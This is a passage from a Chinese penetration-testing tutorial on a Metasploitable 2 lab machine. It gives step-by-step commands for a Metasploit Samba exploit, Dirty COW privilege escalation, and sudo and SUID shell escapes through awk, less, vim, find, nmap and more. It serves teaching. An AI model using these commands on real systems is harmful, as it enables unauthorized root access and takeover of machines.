2. 攻击Samba服务的漏洞
例如在metapsloitable2靶机中,samba服务存在漏洞,导致攻击者可以得到靶机的shell 。
use exploit/multi/samba/usermap_script
set rhost remote_ip
exploit
文章插图
得到shell 。
(三)权限提升
权限提升的方法很多,主要介绍四种方法:内核漏洞提权、sudo提权、suid提权和capabilities提权 。提权的主要目的是实现对目标系统更大程度的控制,提权所使用的技术也可以作为后门来使用 。
1. 内核漏洞提权
通过内核漏洞进行提权的方法很多,这里介绍脏牛(dirty-cow)漏洞提权 。
例子:Linux系统(metasploitable 2)通过脏牛漏洞提权
(1) 获取源代码
//登录目标系统:
ssh user1@target_ip
EXP下载地址:https://github.com/FireFart/dirtycow
(2) 提权
//在目标系统中编译源代码,生成可执行文件,名为dirty
gcc -pthread dirty.c -o dirty -lcrypt
//运行dirty程序开始提权
./dirty abcd1234 //指定口令
文章插图
提权的准备已经完成了,可以看到/etc/passwd文件已经变成了二进制文件 。接下来就可以切换到root身份了 。
su - firefart //切换到firefart用户,输入前面设置的口令
文章插图
从图中可以看到,用户的uid为0,提权成功了 。
2. sudo提权
推荐阅读:《centos 7系统配置sudo策略(附sudo提权演示)》
https://www.freebuf.com/articles/system/243526.html
该文章介绍了sudo提权的方法 。
例子:Linux系统(metasploitable 2)通过sudo提升权限
//查看当前用户允许通过sudo执行的命令
sudo -l
文章插图
从sudo -l的返回结果来看,系统允许以sudo的方式执行awk、less、vim这三个命令 。
//sudo awk提权
sudo awk 'BEGIN {system("/bin/bash")}'
文章插图
sudo awk提权成功,得到了root shell 。
//sudo less提权
sudo less /etc/lsb-release
文章插图
在less的底部输入!/bin/bash,可以看到提权成功,得到了root shell 。
//sudo vim提权
sudo vim -c '!bash'
文章插图
提权成功,得到了root shell 。
3. suid提权
推荐阅读:《CentOS 7系统利用suid提权获取Root Shell》
https://www.freebuf.com/articles/system/244627.html
该文章较详细地介绍了suid提权获取root shell的方法 。
例子:Linux系统(metasploitable 2)通过suid程序提升权限
//使用find命令在系统中查找具有suid标志位的文件
find / -perm -u=s -type f 2>/dev/null
假设攻击者找到了find、nmap、more这三个可执行文件设置了suid,那么下面尝试进行提权 。
//使用带有suid的find命令进行提权
find . -exec /bin/sh -p ; -quit
文章插图
使用find命令进行提权 。查看看到,find命令通过exec参数创建了一个子进程,这个子进程的euid为0,因此这个子进程是一个root shell 。
//使用带有suid的nmap命令进行提权
echo "os.execute('/bin/bash -p')" > /tmp/shell.nse
nmap --script=/tmp/shell.nse 127.0.0.1
文章插图
得到了root shell 。这个root shell有个特点,就是看不到输入的命令,只能看到执行的结果 。
//使用带有suid的more命令进行提权
more /etc/profile
//在底行输入
!/bin/sh -p
文章插图
可以看到,也得到了root shell 。使用more打开的必须是一个在当前屏幕中无法完全显示的文件,这样才会出现底行,提示显示的百分比,攻击者才能输入!/bin/sh -p
4. capabilities提权
推荐阅读:Linux系统利用可执行文件的Capabilities实现权限提升
推荐阅读
- Linux 怎么修改最大文件打开数量?
- Linux经典面试题:网卡接收数据后,经过几次拷贝才能到用户进程
- 再生龙 使用Clonezilla克隆、恢复Linux系统
- 解读微服务下的契约测试——看微服务如何完整应用系统验证之道
- MIUI系统这几个实用功能,很多小米用户还不太了解,甚至没用过
- 复杂的安全环境里,华为应用市场如何给用户吃下“定心丸”?
- 老人便秘药粥验方11则
- 鸿蒙系统编程日记3-for/if语句
- linux kali安装docker报错Unable to locate package docker
- Linux下查找java进程耗用cpu最高的线程方法